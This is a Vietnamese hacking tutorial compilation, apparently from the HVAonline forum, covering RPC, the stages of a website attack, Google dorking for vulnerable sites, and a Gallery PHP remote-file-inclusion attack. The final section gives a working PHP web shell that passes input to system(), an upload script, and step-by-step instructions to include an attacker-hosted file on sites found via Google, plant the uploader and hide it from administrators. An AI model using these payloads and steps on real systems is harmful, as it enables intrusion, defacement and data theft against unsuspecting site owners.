26. Tìm hiểu về RPC (Remote Procedure Call)
Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán. Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.
Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT.
27. Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call)
Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi, bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được. Nó còn chống được hầu hết tools xâm nhập vào máy (vì đa số các tools viết connect dựa trên remote procedure call (over tcp/ip). Các trojan đa số cũng dựa vào giao thức này.
Cách tắt: Bạn vào service/remote procedure call (click chuột phải) chọn starup typt/disable hoặc manual/apply.
Đây là cách chống rất hữu hiệu với máy PC, nếu thêm với cách tắt file sharing thì rất khó bị hack), nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này. Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý. Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó.
(Dựa theo bài viết của huynh “Đời như củ khoai” khoaimi – admin của HVA )
28. Những bước để hack một trang web hiện nay
Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau:
- FootPrinting: (In dấu chân), đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS,... đại khái là những thong tin chính thức có liên quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
- Scanning: (Quét thăm dò), khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, v.v... Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa.
- Enumeration: (Liệt kê tìm lỗ hổng), bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rất nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.
- Gaining Access: (Tìm cách xâm nhập), bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht.
- Escalating Privileges: (Leo thang đặc quyền), ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.
- Pilfering: (Dùng khi các file chứa pass bị sơ hở), thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.
- Covering Tracks: (Xoá dấu vết), sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
- Creating "Back Doors": (Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn), hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
- Denial of Service (DoS): (Tấn công kiểu từ chối dịch vụ), nếu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder. Cách này rất lợi hại, và vẫn còn sử dụng phổ biến hiện nay.
Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào. Không nhất thiết phảI làm theo tuần tự. Các bạn hãy nhớ đến câu “biết người biết ta trăm trận trăm thắng”.
(Tài liệu của HVA và hackervn.net)
29. Cách tìm các Website bị lỗi
Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi (Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả.
Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl:”. VD ta có đoạn mã lỗi trang Web sau:
cgi-bin/php.cgi?/etc/passwd
Các bạn sẽ đánh: “allinurl:cgi-bin/php.cgi?/etc/passwd”
Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn, các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê (dòng địa chỉ màu xanh lá cây) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi. Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa.
Các bạn quan tâm đến lỗi forum, các bạn muốn tìm forum dạng này để thực tập, chỉ cần nhập từ khoá "powered by". VD sau là để tìm forum dùng Snitz 2000: powered by Snitz 2000.
Tuy nhiên, việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao, bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó (cái này rất quan trọng, các bạn hãy tự mình tìm hiểu thêm nhé). VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau: "/admin hay /advadmin hay /hosting". Ta hãy đánh từ khoá:
allinurl:/advadmin hoặc allinurl:/admin hoặc allinurl:/hosting
Nó sẽ liệt kê ra các trang Web có URL dạng: http://tentrangweb.com/advadmin hoặc http://tentrangweb.com/admin hoặc http://tentrangweb.com/hosting.
VD với forum UBB có đoạn đặc trưng: "cgi-bin/ultimatebb.cgi?"
Ta cũng tìm tương tự như trên. Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra.
30. Kỹ thuật hack Web thông qua lỗi Gallery (một dạng của lỗi php code inject)
Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP, lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload, đó chính là mục đích chính của ta.
Trước hết bạn hãy đăng ký một host miễn phí, tốt nhất là bạn đăng ký ở brinkster.com cho dễ. Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau:
<?php
global $PHP_SELF;
echo "
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
";
set_magic_quotes_runtime(1);
if ($act == "shell") {
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > ";
system($shell);
echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; }
echo " ";
? >
Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau (nhưng cùng chung một mã) và đặt tên là:
- shellphp.php: file này dùng để chạy shell trên victim host.
- init.php: file này dùng để upload lên trang có host bạn vừa tạo. (Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác, bạn quên upload file này lên là tiêu).
Bạn hãy tạo thêm một file PHP với mã sau:
<?php
function handleupload() {
if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$filename = $_FILES['userfile']['tmp_name'];
print "$filename was uploaded successfuly";
$realname = $_FILES['userfile']['name'];
print "realname is $realname\n";
print "copying file to uploads dir ".$realname;
copy($_FILES['userfile']['tmp_name'],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo "Possible file upload attack: filename".$_FILES['userfile']['name'].".";
}
}
if ($act == "upload") {
handleupload();
}
echo "
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >
";
? >
Bạn hãy đặt tên là upload.php, nó sẽ dùng để upload lên trang Web của nạn nhân.
Tiếp theo Bạn vào Google, gõ "Powered by gallery" rồi Enter, Google sẽ liệt kê một đống những site sử dụng Gallery, bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗi Gallery hay không:
http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /
Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng, bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đối tượng rồi đó. Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân.
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go”, khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dưới (Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery”).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó. Bây giờ bạn hãy nhìn kết quả, bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê. Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả:
- Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo (Nó thường được xếp trên cùng của các hàng kết quả).
- Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi (VD như config.php, check.inc.v.v…) vì đây là những file chứ không phải là thư mục.
- Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 (Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang), vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo, vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào. Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload, như vậy đường dẫn chính thức mà ta upload lên sẽ là: /home/abc/xyz/Gallery/loveyou
Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi, bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn:
http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /
Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh, một là nút “brown”, một là nút “upload”. Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn, nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân. Ok, bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó. Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database, password (làm tương tự như các bài hướng dẫn hack trước), nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ: “Hack by……..” là đủ rồi.
Cũng như những lần trước, các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn.
(Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net)
GOODLUCK!!!!!!!!!!!!
(Hết phần 4)
Anhdenday
HVAonline.net